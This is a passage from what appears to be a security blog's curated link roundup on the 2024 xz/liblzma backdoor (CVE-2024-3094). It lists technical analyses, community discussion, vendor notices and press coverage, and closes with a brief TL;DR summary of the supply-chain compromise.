  &lt;li&gt;&lt;a href=&quot;https://github.com/Midar/xz-backdoor-documentation/wiki&quot;&gt;Writeup on xz backdoor&lt;/a&gt; by &lt;a href=&quot;https://ap.nil.im/notice/AgOBVh5Tq1IjfawZvM&quot;&gt;@js@nil.im&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://git.tukaani.org/?p=xz.git;a=commitdiff;h=f9cf4c05edd14dedfe63833f8ccbe41b55823b00&quot;&gt;Fix sabotaged Landlock sandbox check&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://hachyderm.io/@danderson/112185746000358589&quot;&gt;@danderson@hachyderm.io&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://research.swtch.com/xz-timeline&quot;&gt;Timeline of the xz open source attack&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://hachyderm.io/@rsc/112199506755478946&quot;&gt;@rsc@hachyderm.io&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://research.swtch.com/xz-script&quot;&gt;The xz attack shell script&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504&quot;&gt;XZ Backdoor Analysis | smx-smx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/google/oss-fuzz/pull/10667&quot;&gt;xz: Disable ifunc to fix issue&lt;/a&gt; - Convincing Google fuzzing project not to run against xz via social engineering (&lt;em&gt;per &lt;a href=&quot;https://social.treehouse.systems/@megmac/112186436680099413&quot;&gt;@megmac@treehouse.systems&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/libarchive/libarchive/pull/1609&quot;&gt;2021 “risky change” by JiaT75” - Added error text to warning when untaring with bsdtar&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://cyberplace.social/@GossiTheDog/112184563423734235&quot;&gt;@GossiTheDog@cyberplace.social&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/xz-devel@tukaani.org/msg00566.html&quot;&gt;Sock puppets pressuring the maintainer&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mastodon.social/@vegard/112181070803627404&quot;&gt;@vegard@mastodon.social&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006546&quot;&gt;liblzma backdoor strings extracted from 5.6.1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://piaille.fr/@zeno/112185928685603910&quot;&gt;killswitch to xz backdoor&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://piaille.fr/@zeno&quot;&gt;@zeno@piaille.fr&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/systemd/systemd/issues/32028&quot;&gt;Reduce dependencies of libsystemd&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://cyberplace.social/@GossiTheDog/112189908304964991&quot;&gt;@GossiTheDog@cyberplace.social&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/&quot;&gt;Threat Brief: Vulnerability in XZ Utils Data Compression Library Impacting Multiple Linux Distributions (CVE-2024-3094)&lt;/a&gt; from Palo Alto Unit42 (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@simontsui/112188273870722696&quot;&gt;@simontsui@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swecyb.com/@nopatience/112190338006481657&quot;&gt;Visualizing dependency graphs on a Linux distribution&lt;/a&gt; (&lt;em&gt;per @nopatience@swecyb.com&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/lockness-Ko/xz-vulnerable-honeypot&quot;&gt;xz vulnerable honeypot&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@ollie_whitehouse/112189799028316146&quot;&gt;@ollie_whitehouse@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cyclone-github/scripts/blob/main/xz_cve-2024-3094-detect.sh&quot;&gt;xz_cve-2024-3094-detect.sh&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@wdormann/112191461268662743&quot;&gt;@wdormann@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/chainguard-dev/bincapz&quot;&gt;chainguard-dev/bincapz&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://triangletoot.party/@thomrstrom/112193102194381723&quot;&gt;@thomrstrom@triangletoot.party&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20240328130100/https://xz.tukaani.org/xz-utils/&quot;&gt;XZ Utils web archive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kali.org/blog/xz-backdoor-getting-started/&quot;&gt;xz-utils backdoor: how to get started | Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/amlweems/xzbot&quot;&gt;xz bot&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@amlw&quot;&gt;@amlw@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://isc.sans.edu/diary/rss/30802&quot;&gt;SANS Internet Storm Center analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitybased.io/posts/rx13/xz-liblzma-backdoor/&quot;&gt;Code Review by Security Based&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@rx13/112199642511390416&quot;&gt;@rx13@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/04/02/1&quot;&gt;Finding similar compromises | Openwall&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/xz-devel@tukaani.org/msg00567.html&quot;&gt;XZ for Java | Lasse Collin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rya.nc/xz-valid-n.html&quot;&gt;Putting an xz Backdoor Payload in a Valid RSA Key&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Single-page analysis graphic from &lt;a href=&quot;https://infosec.exchange/@fr0gger/112189232773640259&quot;&gt;@fr0gger@infosec.exchange&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/xz-analysis.png&quot; width=&quot;500px&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;discussion&quot;&gt;Discussion&lt;/h1&gt;
&lt;p&gt;Thoughts from around the web…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://robmensching.com/blog/posts/2024/03/30/a-microcosm-of-the-interactions-in-open-source-projects/&quot;&gt;A Microcosm of the interactions in Open Source projects | Rob Mensching&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mas.to/@swelljoe/112186147758379670&quot;&gt;@swelljoe@mas.to&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberplace.social/@GossiTheDog/112180051717622246&quot;&gt;Discussion thread from Kevin Beaumont&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@wdormann/112179988525798247&quot;&gt;Discussion thread from Will Dormann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://chaos.social/@rugk/112186994466015883&quot;&gt;@rugk@chaos.social&lt;/a&gt; on leveraging &lt;a href=&quot;https://slsa.dev/&quot;&gt;SLSA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@harrysintonen/112186647082270666&quot;&gt;@harrysintonen@infosec.exchange&lt;/a&gt; with topics to consider/discuss/ponder&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@rene_mobile/112186879554070328&quot;&gt;@rene_mobile@infosec.exchange&lt;/a&gt; discussion points&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cmdr-nova.online/2024/03/29/hacker-voice-im-in-the-xz-fiasco/&quot;&gt;the XZ Fiasco&lt;/a&gt; by &lt;a href=&quot;https://mkultra.monster/@cmdr_nova/112181222923339875&quot;&gt;@cmdr_nova@mkultra.monster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@kpwn/112180829347792639&quot;&gt;CVE-2024-3094 trends on CveCrowd&lt;/a&gt; per &lt;em&gt;@kpwn@infosec.exchange&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@yossarian/112181537647566384&quot;&gt;why supply chain safeguards would have been ineffective&lt;/a&gt; (&lt;em&gt;per @yossarian@infosec.exchange&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@jerry/112182213490650577&quot;&gt;@Jerry@infosec.exchange on how xz increased traffic graph for infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@Malwar3Ninja/112185879344426051&quot;&gt;Resources for responding to CVE-2024-3094 | Threatview.io&lt;/a&gt; (&lt;em&gt;per @Malwar3Ninja@infosec.exchange&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@ravirockks/112190305884277570&quot;&gt;Observations from @UK_Daniel_Card / mRr3b00t&lt;/a&gt; (&lt;em&gt;via @ravirockks@infosec.exchange&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@briankrebs/112191151028104367&quot;&gt;Two names that are mentioned related to backdoor&lt;/a&gt; (&lt;em&gt;per @briankrebs@infosec.exchange&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discourse.nixos.org/t/reconsider-reusing-upstream-tarballs/42524/17&quot;&gt;Reconsider reusing upstream tarballs&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://bsd.network/@solene/112192747045310818&quot;&gt;@solene@bsd.network&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=39865810&quot;&gt;Hacker News discussion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensourcesecurity.io/2024/04/01/xz-bonus-spectacular-episode/&quot;&gt;Open Source Security | XZ Bonus Spectacular Episode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@tinker/112196180295212632&quot;&gt;Discussion from @tinker@infosec.exchange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://some-natalie.dev/blog/xz-thoughts/&quot;&gt;Organization costs of the xz backdoor&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@some_natalie&quot;&gt;@some_natalie@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.josefsson.org/2024/04/01/towards-reproducible-minimal-source-code-tarballs-please-welcome-src-tar-gz/&quot;&gt;Towards reproducible minimal source code tarballs? On *-src.tar.gz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@briankrebs/112197305365490518&quot;&gt;Thoughts from Brian Krebs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tidelift.com/xz-tidelift-and-paying-the-maintainers&quot;&gt;xz, Tidelift, and paying the maintainers&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://social.coop/@luis_in_brief/112202420332902529&quot;&gt;@luis_in_brief@social.coop&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=84auPFyxgVw&quot;&gt;Infosec Decoded Podcast&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://risky.biz/RB743/&quot;&gt;Risk Business #743 - A chat with @AndresFreundTec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tbray.org/ongoing/When/202x/2024/04/01/OSQI&quot;&gt;OSQI Open Source Quality Institutes&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://cosocial.ca/@timbray/112203547801373427&quot;&gt;@timbray@cosocial.ca&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://beny23.github.io/posts/xz_backdoor_is_not_the_end_of_open_source/&quot;&gt;XZ Backdoor: Not the End of Open Source | Tales about Software Engineering&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@beny23/112212984642798524&quot;&gt;@beny23@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.404media.co/xz-backdoor-bullying-in-open-source-software-is-a-massive-security-vulnerability/&quot;&gt;Bullying in Open Source Software Is a Massive Security Vulnerability | 404 Media&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://changelog.complete.org/archives/10642-the-xz-issue-isnt-about-open-source&quot;&gt;The xz Issue Isn’t About Open Source&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sovereigntechfund.de/news/xz-structural-change&quot;&gt;xz incident shows the need for structural change | Sovereign Tech Fund&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gendignoux.com/blog/2024/04/08/xz-backdoor.html&quot;&gt;Thoughts on the xz backdoor: an lzma-rs perspective&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://openssf.org/blog/2024/04/15/open-source-security-openssf-and-openjs-foundations-issue-alert-for-social-engineering-takeovers-of-open-source-projects/&quot;&gt;OpenSSF Alert for Social Engineering Takeovers of Open Source Projects&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kimmcmahon.io/f/open-source-advocacy-community-establish-trust-and-do-no-harm&quot;&gt;Establish Trust And Do No Harm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;vendor-notices&quot;&gt;Vendor Notices&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kali.org/blog/about-the-xz-backdoor/&quot;&gt;Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redhat.com/en/blog/urgent-security-alert-fedora-41-and-rawhide-users&quot;&gt;Red Hat&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2024-3094&quot;&gt;Red Hat alert for CVE-2024-3094&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://archlinux.org/news/the-xz-package-has-been-backdoored/&quot;&gt;Arch Linux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://micronews.debian.org/2024/1711830544.html&quot;&gt;Debian&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://lists.debian.org/debian-security-announce/2024/msg00057.html&quot;&gt;DSA 5649-1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://forum.openwrt.org/t/project-statement-about-xz-5-6-1-cve-2024-3094/193250&quot;&gt;OpenWrt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fedoramagazine.org/cve-2024-3094-security-alert-f40-rawhide/&quot;&gt;Fedora&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.opensuse.org/2024/03/29/xz-backdoor/&quot;&gt;openSUSE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discourse.nixos.org/t/cve-2024-3094-malicious-code-in-xz-5-6-0-and-5-6-1-tarballs/42405&quot;&gt;NixOS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/orgs/Homebrew/discussions/5243#discussioncomment-8954951&quot;&gt;Homebrew&lt;/a&gt; &lt;a href=&quot;https://mastodon.lawprofs.org/@SteveBellovin/112180311536275381&quot;&gt;fix per @SteveBellovin@mastodon.lawprofs.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://social.sdf.org/@claudiom/112188354576658490&quot;&gt;Termux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;* &lt;em&gt;thanks &lt;a href=&quot;https://fosstodon.org/@techsaviours/112187254276937299&quot;&gt;@techsaviours@fosstodon.org&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://infosec.exchange/@dfncert/112189133491821442&quot;&gt;@dfncert@infosec.exchange&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;other-general-reporting&quot;&gt;Other General Reporting&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://arstechnica.com/security/2024/03/backdoor-found-in-widely-used-linux-utility-breaks-encrypted-ssh-connections/&quot;&gt;Ars Technica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/&quot;&gt;Ars Technica | What we know about the xz Utils backdoor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/xz-backdoor-everything-you-need-to-know/&quot;&gt;Wired&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nytimes.com/2024/04/03/technology/prevent-cyberattack-linux.html&quot;&gt;NY Times&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094&quot;&gt;Reported Supply Chain Compromise Affecting XZ Utils Data Compression Library, CVE-2024-3094 | CISA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sourcesmethods.com/xz-utils-backdoor-discovered/&quot;&gt;Sources &amp;amp; Methods&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.latio.tech/posts/CVE-2024-3094&quot;&gt;Check if you’re vulnerable to CVE-2024-3094 | Latio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.404media.co/the-xz-backdoor-highlights-the-vulnerability-of-open-source-software-and-its-strengths/&quot;&gt;The Xz Backdoor Highlights the Vulnerability of Open Source Software—and Its Strengths | 404 Media&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2024/03/urgent-secret-backdoor-found-in-xz.html&quot;&gt;Urgent: Secret Backdoor Found in XZ Utils Library, Impacts Major Linux Distros | Hacker News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityaffairs.com/161224/malware/backdoor-xz-tools-linux-distros.html&quot;&gt;Expert found a backdoor in xz | Security Affairs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxiac.com/debian-decided-to-postpone-the-12-6-release/&quot;&gt;Debian Decided to Postpone the 12.6 Release | linuxiac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thenimblenerd.com/article/xzploit-debacle-how-a-cpu-hogging-ssh-glitch-unraveled-a-10-10-security-nightmare/&quot;&gt;The Nimble Nerd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.politico.com/news/2024/03/31/thwarted-supply-chain-hack-alarm-bells-00149877&quot;&gt;Politico&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://openssf.org/blog/2024/03/30/xz-backdoor-cve-2024-3094/&quot;&gt;OpenSSF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.runzero.com/blog/how-to-find-systems-impacted-by-cve-2024-3094-libxz-utils-with-runzero/&quot;&gt;runZero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://duo.com/decipher/red-hat-warns-of-malicious-code-in-xz-utils&quot;&gt;Duo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackaday.com/2024/03/29/security-alert-potential-ssh-backdoor-via-liblzma/&quot;&gt;Hackaday&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://hackaday.com/2024/03/31/exploit-the-stressed-out-package-maintainer-exploit-the-software-package/&quot;&gt;this&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/red-hat-warns-of-backdoor-in-xz-tools-used-by-most-linux-distros/&quot;&gt;BleepingComputer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/are-you-affected-by-the-backdoor-in-xz-utils&quot;&gt;DarkReading&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hardenedvault.net/blog/2024-03-31-xz-lzma-backdoor-open-source-nuke/&quot;&gt;Hardened Vault&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.techspot.com/news/102456-linux-could-have-brought-down-backdoor-found-widely.html&quot;&gt;Techspot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2024/04/01/etr-backdoored-xz-utils-cve-2024-3094/&quot;&gt;Rapid7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackerone.com/vulnerability-management/cve-2024-3094&quot;&gt;HackerOne&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zscaler.com/blogs/security-research/cve-advisory-cve-2024-3094-security-compromise-xz-utils&quot;&gt;Zscaler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tedium.co/2024/04/01/xz-supply-chain-attack-heartbleed/&quot;&gt;Tedium&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://writing.exchange/@ernie/112199142513994510&quot;&gt;@ernie@writing.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reversinglabs.com/blog/a-software-supply-chain-meltdown-what-we-know-about-xz-trojan&quot;&gt;ReversingLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityweek.com/supply-chain-attack-major-linux-distributions-impacted-by-xz-utils-backdoor/&quot;&gt;SecurityWeek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentest-tools.com/blog/xz-utils-backdoor-cve-2024-3094&quot;&gt;Pentest-Tools&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@pentesttools/112201667074904342&quot;&gt;@pentesttools@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tenable.com/blog/frequently-asked-questions-cve-2024-3094-supply-chain-backdoor-in-xz-utils&quot;&gt;Tenable&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.akamai.com/blog/security-research/critical-linux-backdoor-xz-utils-discovered-what-to-know&quot;&gt;Akamai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://techcommunity.microsoft.com/t5/microsoft-defender-vulnerability/microsoft-faq-and-guidance-for-xz-utils-backdoor/ba-p/4101961&quot;&gt;Microsoft Tech Community&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cert.europa.eu/publications/security-advisories/2024-032/&quot;&gt;CERT-EU&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@cert_eu/112202582233591864&quot;&gt;@cert_eu@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://archive.md/G7kBC&quot;&gt;The Economist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2024/04/malicious-code-in-xz-utils-for-linux.html&quot;&gt;The Hacker News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackread.com/xz-utils-backdoor-patch-systems-cve-2024-3094/&quot;&gt;HackRead&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.schneier.com/blog/archives/2024/04/xz-utils-backdoor.html&quot;&gt;Schneier on Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oligo.security/blog/detecting-exploitation-liblzma-xz-cve-2024-3094&quot;&gt;Oligo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securityonion.net/2024/04/security-onion-and-xz-vulnerability.html&quot;&gt;Security Onion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.phylum.io/xz-liblzma-backdoor-supply-chain-attack/&quot;&gt;Phylum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wired.com/story/jia-tan-xz-backdoor/&quot;&gt;The Mystery of ‘Jia Tan,’ the XZ Backdoor Mastermind&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lwn.net/SubscriberLink/967192/6c39d47b5f299a23/&quot;&gt;How the XZ backdoor works | LWN.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wiz.io/blog/cve-2024-3094-critical-rce-vulnerability-found-in-xz-utils&quot;&gt;Wiz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reuters.com/technology/cybersecurity/why-near-miss-cyberattack-put-us-officials-tech-industry-edge-2024-04-05/&quot;&gt;Reuters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.uptycs.com/blog/xz-utils-backdoor-vulnerability-cve-2024-3094&quot;&gt;Uptycs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thebreach.report/p/xz-utils-linux-backdoor-vulnerability&quot;&gt;The Breach Report&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sentinelone.com/blog/xz-utils-backdoor-threat-actor-planned-to-inject-further-vulnerabilities/&quot;&gt;SentinelOne&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.phylum.io/rust-crate-shipping-xz-backdoor/&quot;&gt;Rust crate shipping xz backdoor | Phylum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.itsfoss.com/xz-utils-backdoor/&quot;&gt;It’s FOSS News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.opensuse.org/2024/04/12/learn-from-the-xz-backdoor/&quot;&gt;OpenSuse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securelist.com/xz-backdoor-story-part-1/112354/&quot;&gt;SecureList&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;If you want to &lt;em&gt;really&lt;/em&gt; know what’s going on, I would defer to the much better &lt;a href=&quot;#explanations&quot;&gt;explanations&lt;/a&gt; I’ve linked to above. However, if you want a quick readout, here’s what I’d say…&lt;/p&gt;

&lt;p&gt;There was a supply-chain compromise in a &lt;em&gt;very&lt;/em&gt; widely used compression library (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xz/liblzma&lt;/code&gt;). The compromise was (very luckily) detected early which mitigated the risk of the introduced vulnerability. The vulnerability notably manifests in OpenSSH, the risk (if unpatched) appears to be full RCE of affected SSH servers. The attack chain used to infiltrate the package repo and stealthily insert the backdoor is reminiscent of state-sponsored actors. No other attempts at attribution have been made to my knowledge. &lt;a href=&quot;#technical-analyses&quot;&gt;Investigations&lt;/a&gt; into the malicious code are on-going. Vendors have released &lt;a href=&quot;#vendor-notices&quot;&gt;notices&lt;/a&gt; and it is advised to check what version you are running and upgrade/downgrade as necessary.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;related-reading&quot;&gt;Related Reading&lt;/h1&gt;
&lt;ul&gt;
